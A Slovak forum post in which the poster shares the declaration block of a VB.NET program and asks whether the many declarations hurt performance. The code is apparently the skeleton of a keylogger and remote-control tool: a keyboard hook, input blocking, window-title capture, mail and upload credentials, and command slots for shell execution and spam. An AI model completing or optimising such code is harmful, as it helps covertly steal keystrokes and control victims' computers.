|
a este nieco myslite ze ked mam tolkoto deklaracii spomaluje to aplikaciu alebo ze by to zatazilo pamät ? kod:
#Region "Variables"
'BEGIN API Functions
Declare Function MoveWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal x As Integer, ByVal y As Integer, ByVal Width As Integer, ByVal Height As Integer, ByVal Repaint As Integer) As Integer
Declare Function GetWindowRect Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpRect As RECT) As Integer
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
'>Keyboard Hook Related Functions
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'-Other API functions
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private Declare Auto Function SystemParametersInfo Lib "user32.dll" (ByVal uAction As Integer, ByVal uParam As Integer, ByVal lpvParam As String, ByVal fuWinIni As Integer) As Integer
'<Keyboard Hook Related Functions
'END API Functions
Dim String_Builder As New System.Text.StringBuilder()
Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim AES As New System.Security.Cryptography.RijndaelManaged
Private Finished As New delUpdate(AddressOf UpdateText)
Public Shared SessionEndingDetected As Boolean = False
Public Client1 As New Net.WebClient
Public Client2 As New Net.WebClient
'Event Types_KEYLOGGER
Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105
'>Other
Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = "" '
Private callback As KeyboardHookDelegate = Nothing
Private CACHE_KeyLog As String
'<Other
'End Event Types_KEYLOGGER
Dim mail As New Mail.MailMessage()
Dim SmtpServer As New Mail.SmtpClient
Private Delegate Sub delUpdate()
Public interv_T6_CMD As Integer = "1"
Private Results As String
'BEGIN CACHES
Public APP_HANDLE_SHUTDOWN As Integer = "0"
Public CACHE_001_KEYLOGGER As String
Public CACHE_002_UPLOAD_LOG As String
Public CACHE_003_COMMAND_EXECUTION As String
Public CACHE_003_COMMAND_EXECUTION_HEADER01 As String
Public CACHE_003_COMMAND_EXECUTION_CODE01 As String
Public CACHE_003_COMMAND_EXECUTION_CODE02 As String
Public CACHE_003_COMMAND_EXECUTION_CODE03 As String
Public CACHE_003_COMMAND_EXECUTION_CODE04 As String
Public CACHE_004_COMMAND_GETIP As String
Public CACHE_004_COMMAND_GETIP_IP_1_CACHE As String
Public CACHE_004_COMMAND_GETIP_IP_2_CACHE As String
Public CACHE_005_COMMAND_RENUSER As String
Public CACHE_006_COMMAND_SEARCH_INPUT_PATH As String
Public CACHE_006_COMMAND_SEARCH_OUTPUT_PATH_INFO As String
Public CACHE_007_COMMAND_PCINFO As String
Public CACHE_008_COMMAND_UPTO_HOST As String
Public CACHE_008_COMMAND_UPTO_USER As String
Public CACHE_008_COMMAND_UPTO_PASS As String
Public CACHE_009_UPLOAD_STATUS As String
Public CACHE_010_COMMAND_PROCESSES As String
Public CACHE_011_COMMAND_IOFILE_FILENAME As String
Public CACHE_011_COMMAND_IOFILE_FILE_MOVE_PATH As String
Public CACHE_012_COMMAND_UPDATE_TEXT As String
Public CACHE_013_COMMAND_TIMER_INTERVAL As String
Public CACHE_014_UPLOAD_UPTO_VALUES As String
Public CACHE_015_UPTO_USER As String
Public CACHE_015_UPTO_PASS As String
Public CACHE_015_UPTO_HOST As String
Public CACHE_015_UPTO_USER_BACKUP As String
Public CACHE_015_UPTO_PASS_BACKUP As String
Public CACHE_015_UPTO_HOST_BACKUP As String
Public CACHE_016_COMMAND_SPAM As String
Public CACHE_016_COMMAND_SPAM_CODE01 As String
Public CACHE_017_COMMAND_WALLPAPERS As String
Public CACHE_018_SHELLCMD As String
Public CACHE_019_WINDOWS_DIRECTORY_PATH As String
Public CACHE_020_APPLICATION_EXECUTABLE_PATH As String
'END CACHES
Public closeme As Integer
Dim result As Integer
Public KEYLOGGER_KEYBOARD_HOOK_STATUS As Integer = "0"
#End Region
Je niaka mudrejsia cesta alebo je ten kod v poriadku ?
|